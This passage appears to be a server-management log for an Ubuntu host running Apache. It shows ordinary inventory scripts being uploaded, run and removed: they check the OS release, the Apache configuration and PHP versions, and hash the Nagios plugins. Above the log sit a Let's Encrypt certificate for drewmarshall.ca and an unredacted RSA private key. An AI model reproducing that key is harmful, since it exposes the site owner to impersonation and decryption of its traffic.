MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI0MTI1NzEyWhcNMjYwMzI0MTI1NzExWjAaMRgwFgYDVQQD
Ew9kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDR1SsfBBpCp5MXzZtKn3XNQpsNP8X92xZyXcv/H5KsE474QSGesDMes5ofPrtj
ys+PJsO+A7vHl/4aARZ48ZqLnJ5MmYMIAJICMyke7kbN/26yNDSKTO5rsRCf1Wvx
5Q3HF1PD9lLeP7vNuaCm63d8+KpCH/sOvnBLJnt4e7ISi/qjKbeM73lQeZZvcxTP
aiTG87lcO2qkNzPuBAWFWfm8KKhXfxrhG+9kTAQqVmjSPkZv6POFckDfFAYIuzxW
1S8DkxpTwWpcGl2YcOpUZq0v6gExJ/j/R9PuHCVE8oWsXcOtaghCbk1Y5/USKcE6
FEbRXWZZwKMPgB1IWAf1cLKPAgMBAAGjggIzMIICLzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFGYTNVHXq11v6uAeAa6YMEow+SKQMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPZHJld21hcnNoYWxsLmNhghN3
d3cuZHJld21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMzYuY3JsMIIBAwYKKwYB
BAHWeQIEAgSB9ASB8QDvAHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9
zfAAAAGbUKTlUgAABAMARzBFAiAN9DDBUVy2ZqmSQ2GlFRLiYj1eHvT12Pt4vpx/
BlhPkAIhAJl04rvViQaqd53qXok7CQp0klYVPItrmGP7T8DHKvQcAHUAyzj3FYl8
hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGbUKTlaAAABAMARjBEAiA5YED+
LqVUP0FFKmSc0KKBxPJ1h5qQTb0d3svnlm9fxQIgTTD+fldoujlU5xLLikoOsotP
6o4dcAB8Wc2Cz0TMTqswDQYJKoZIhvcNAQELBQADggEBAMR/MlbSeX1JQfQxB7Ke
fu24Q2M89+6oX1asXQsgTsrpb0iuuqZ2XQ+7QsgeuNOXh6jXR+hl1STDb3xdnBnn
Qs0AY6hHkPLh5nFtW8C9a4BkecuCl4J5BXaihPu1Jy+IsLlDD2HixVkcXlhAEsOT
rUTBUIUD3FVyS4hiA6I3Idq43BdJY++GNdTwOaBCfeaUY7Y189KthN5FRR3heWeX
pY2aUUmBBIKX4MQ1ExvhOoMndLY669ZqmTQ7mAeueO7m4JoQIZxaJ2x3NehUCfCO
Ol3Mh+kbXnmh0cTPKTHEK5F0lreEEpvc6XBd1kVbXzL4yNKmPUS+lV245ONcSprY
vTM=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDR1SsfBBpCp5MX
zZtKn3XNQpsNP8X92xZyXcv/H5KsE474QSGesDMes5ofPrtjys+PJsO+A7vHl/4a
ARZ48ZqLnJ5MmYMIAJICMyke7kbN/26yNDSKTO5rsRCf1Wvx5Q3HF1PD9lLeP7vN
uaCm63d8+KpCH/sOvnBLJnt4e7ISi/qjKbeM73lQeZZvcxTPaiTG87lcO2qkNzPu
BAWFWfm8KKhXfxrhG+9kTAQqVmjSPkZv6POFckDfFAYIuzxW1S8DkxpTwWpcGl2Y
cOpUZq0v6gExJ/j/R9PuHCVE8oWsXcOtaghCbk1Y5/USKcE6FEbRXWZZwKMPgB1I
WAf1cLKPAgMBAAECggEAMZavGiVeD2KK4JU2newRavDSs87ee5/LLjv8ec58Wy5E
G2dJCreZXSgUxE2O+4ZyhuIiYEWBmynQY1TeeraeT2A0COY+kSWRW/O7RBQLp6M2
BedQg16q+chepWdKm2AGYYahxS3xZ5SoTXYRAWGkW2Ro2De2nUVkRF5Tz6Vr7/W3
HfmSmw25FuNc6v/Sh+StBm4+FKbTDPlYc07p/2jmbGPHiZNq1Ns85kmImUUVzEuB
Ih+DXoXP+hvA6G3K584N6qGy/IRWIb2Oa5/MDpspHmBc2jEqHCBWCbKLEWRRHh0X
cTw5Q2pOKK/72Zo0o23sXjh6xTCVtEB+5p+uMWcMAQKBgQDyT4ijGA+6woUzUUb+
oTEAKi/qlgT5VK7FrKDt7NsWob4mF6Lv7ZHUUx0ZvBh9FLPrEfSAmpD+Q7ypDbgm
Z3zaQodDIrY+HXrUrlhudY0Enu1ili5rs1jcsg/9TtQnvh/nK69dr7u39CV72A/3
raNTCuik7wLK3coTr2vWVuUtHQKBgQDdr+pTljDdr1XpOkJXo8pAdjtFNK1S1azW
Pp7nwXCCfKCoo+kNuUHg3C8y2NvSEI9smKep9U6CFEV2TMCmgOp8A/YxqtcHpfeZ
KM2DkPqWsJDMLtehLRVG772IKSuMb5fziuy9ns3MFoJmBvWVwMM0GnmhuE5TWpmw
F1v7YvRKmwKBgQCytLGjB0XiiT/Pnyvq81q+Ml7wdf/pGuli5HQzxTG3uUYRtfD3
XpDktP+LUUwGQ9SFk9JtXpF81Nw5GeMsf7p3BgXYH6ukl/1VCdgybwO32rZctUI7
MCRjb/eW7CJPxUqmJXPKdqbNfoR+l9T+59LClhMKQTQgBf7ZEdFIXQHciQKBgDZ8
wm+A/sm+CrOkaiH4VAG8DZ1Y8TDm6/BMu+nilbC8yRAqGWISIqsN81vgCUd8YoQi
kTMo4/781IXbH47NKNUKdDyI7QkoNc8jREAOJklbZHuLF9y5o/0nd8I7vERsOUDW
6JFCsvpyneJN25bPJitsRnEFR9sc7aFmXGlRTRH5AoGAGBdGFaiA7PIjJX97yVMC
h3OAPfZpHQFNGTq/MZ09fVPZI4uFDcEqFNtQYkPTGEILADKEo2gRWMiCXZbtkstU
lnY9uWvj/5ZSObgqPsFCCNNJ8tMoPkMYAzbVY5mkLhcrHskI8L0AsgkHp2D6Na6z
oYEy7gAHkCRduCl0725RQto=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-12-24 14:09:17: Establishing a connection
2025-12-24 14:09:27: Establishing a connection
2025-12-24 14:09:28: Performing Server Status
2025-12-24 14:09:28: 

PUT: /tmp/pkp661299

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-12-24 14:09:28: 

chmod 755 /tmp/pkp661299; /tmp/pkp661299; rm /tmp/pkp661299

2025-12-24 14:09:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
dgmarshall

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic



2025-12-24 14:09:28: 

PUT: /tmp/pkp681135

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-12-24 14:09:28: 

chmod 755 /tmp/pkp681135; /tmp/pkp681135; rm /tmp/pkp681135

2025-12-24 14:09:28: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 899
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         899  0.0  0.8 306328 34236 ?        Ss   14:05   0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2025-12-24 14:09:28: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'dgmarshall',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'reqtimeout_module',
      26 => 'rewrite_module',
      27 => 'setenvif_module',
      28 => 'socache_shmcb_module',
      29 => 'ssl_module',
      30 => 'status_module',
    ),
  ),
)


2025-12-24 14:09:28: 

PUT: /tmp/pkp618868

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-12-24 14:09:28: 

chmod 755 /tmp/pkp618868; /tmp/pkp618868; rm /tmp/pkp618868

2025-12-24 14:09:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)



2025-12-24 14:09:28: 

PUT: /tmp/pkp808809

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-12-24 14:09:28: 

chmod 755 /tmp/pkp808809; /tmp/pkp808809; rm /tmp/pkp808809

2025-12-24 14:09:29: 


[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16


2025-12-24 14:09:29: 

PUT: /tmp/pkp788516

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-12-24 14:09:29: 

chmod 755 /tmp/pkp788516; /tmp/pkp788516; rm /tmp/pkp788516

2025-12-24 14:09:29: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_nntps)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_time)= 1e9875c9b5ea540fd7733a0b02fada53
bin(/usr/local/nagios/libexec/check_nt)= 3fa95b15533e9c88543ffcd71f2fe40b
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 88a206459ec8a913e93b228e910ce67a
bin(/usr/local/nagios/libexec/check_apt)= 22b4f86286f6c23874c3023adbccecc1
bin(/usr/local/nagios/libexec/check_imap)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_icmp)= 4162517468ed73d84c9cb4375898d78e
bin(/usr/local/nagios/libexec/check_tcp)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_dig)= 9e404209b923ca562ab25b97e8360f28
bin(/usr/local/nagios/libexec/check_mrtg)= ded945e92e21d981251d50536dcf18d0
bin(/usr/local/nagios/libexec/check_dns)= 101b924a73ccb26a09af66930f8c29c2
bin(/usr/local/nagios/libexec/check_nwstat)= 16d6b8b99b9677ace8035b362b9cfa6d
bin(/usr/local/nagios/libexec/check_pop)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_clamd)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_disk_smb)= a0addfa4f7a59ab39d7c22903bd03591
bin(/usr/local/nagios/libexec/check_jabber)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_disk)= 75f7db1e8c11e25e168c75fe02f16f83
bin(/usr/local/nagios/libexec/check_ssh)= 0da91416fd7f73af7252a747961cc0fa
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_ups)= e3cb868f84f02b48587b160065a49729
bin(/usr/local/nagios/libexec/check_ifstatus)= 3fa7c282c0d64611ba956a1a62d955f6
bin(/usr/local/nagios/libexec/check_mailq)= 2a9a5be3ea16b80a021054f213d2a4dd
bin(/usr/local/nagios/libexec/check_log)= c11e83499380bf54090f23f2c2dff71e
bin(/usr/local/nagios/libexec/check_nagios)= 887c5d4b15f5470cc428b719b6aa5618
bin(/usr/local/nagios/libexec/check_ntp_time)= 41e0b76bc270eac4e5cb68be2503317d
bin(/usr/local/nagios/libexec/check_smtp)= 7d19de04a51638615aede0fd7f36f8f8
bin(/usr/local/nagios/libexec/check_dhcp)= c4a1eb272d41ee39d6fe3ecdef526f8f
bin(/usr/local/nagios/libexec/check_ntp_peer)= 09b4b11c6697984946b9ca681502c595
bin(/usr/local/nagios/libexec/check_http)= 55a7d45e13bcc6724f51469dfe8489b3
bin(/usr/local/nagios/libexec/check_flexlm)= 9f6100f7ab1b0511b276dc3adc3581f3
bin(/usr/local/nagios/libexec/check_load)= c5d4af31efd52835fb9281994fad5381
bin(/usr/local/nagios/libexec/check_sensors)= ff31dc74c18f5745178a88ee209f7199
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_ntp)= 0f84108f663334402ab1ddd798e9c73d
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3de0691a4833084c61d63f8dab433fcd
bin(/usr/local/nagios/libexec/check_ircd)= f43249e02df45308f25c31ac5879859b
bin(/usr/local/nagios/libexec/check_file_age)= 4ca1b31c4727146655023808c501658a
bin(/usr/local/nagios/libexec/check_swap)= 298b1ee455ee25389b25d8173ad8ccfb
bin(/usr/local/nagios/libexec/check_dummy)= fb4c1e391fe2d37452b1dbc6fdc0f0fa
bin(/usr/local/nagios/libexec/check_cluster)= bcc1b5d1a959a980ee755ff3c157fca2
bin(/usr/local/nagios/libexec/check_ide_smart)= 48b733285b0a2d4d473db54efe4457f7
bin(/usr/local/nagios/libexec/check_ping)= 8bb007231029700a1659553a16321bfa
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_overcr)= 24457c37bfca07b7dad91a3223ac4640
bin(/usr/local/nagios/libexec/check_breeze)= 28bc7630e205482708923d2985361390
bin(/usr/local/nagios/libexec/check_uptime)= fd91968d366ae0fd2a6df13185f3669b
bin(/usr/local/nagios/libexec/check_nntp)= fd2884d39bd5ca4171338057c45d0936
